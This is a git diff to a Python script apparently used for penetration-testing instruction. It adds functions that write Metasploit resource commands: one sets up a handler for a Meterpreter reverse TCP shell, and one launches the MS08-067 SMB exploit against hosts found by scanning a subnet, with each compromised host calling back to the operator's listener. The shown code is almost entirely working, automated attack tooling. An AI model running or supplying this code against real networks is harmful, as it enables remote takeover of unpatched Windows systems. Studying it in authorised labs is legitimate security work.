diff --git a/metasploit/conficker.py b/metasploit/conficker.py index 5f4cf2f..733e766 100644 --- a/metasploit/conficker.py +++ b/metasploit/conficker.py @@ -10,3 +10,17 @@ def findTgts(subNet): print '[+] Found Target Host: ' + host tgtHosts.append(host) return tgtHosts +def setupHandler(configFile, lhost, lport): + configFile.write('use exploit/multi/handler\n') + configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') + configFile.write('set LPORT ' + str(lport) + '\n') + configFile.write('set LHOST ' + lhost + '\n') + configFile.write('exploit -j -z\n') + configFile.write('setg DisablePayloadHandler 1\n') +def confickerExploit(configFile, tgtHost, lhost, lport): + configFile.write('use exploit/windows/smb/ms08_067_netapi\n') + configFile.write('set RHOST ' + str(tgtHost) + '\n') + configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') + configFile.write('set LPORT ' + str(lport) + '\n') + configFile.write('set LHOST ' + lhost + '\n') + configFile.write('exploit -j -z\n')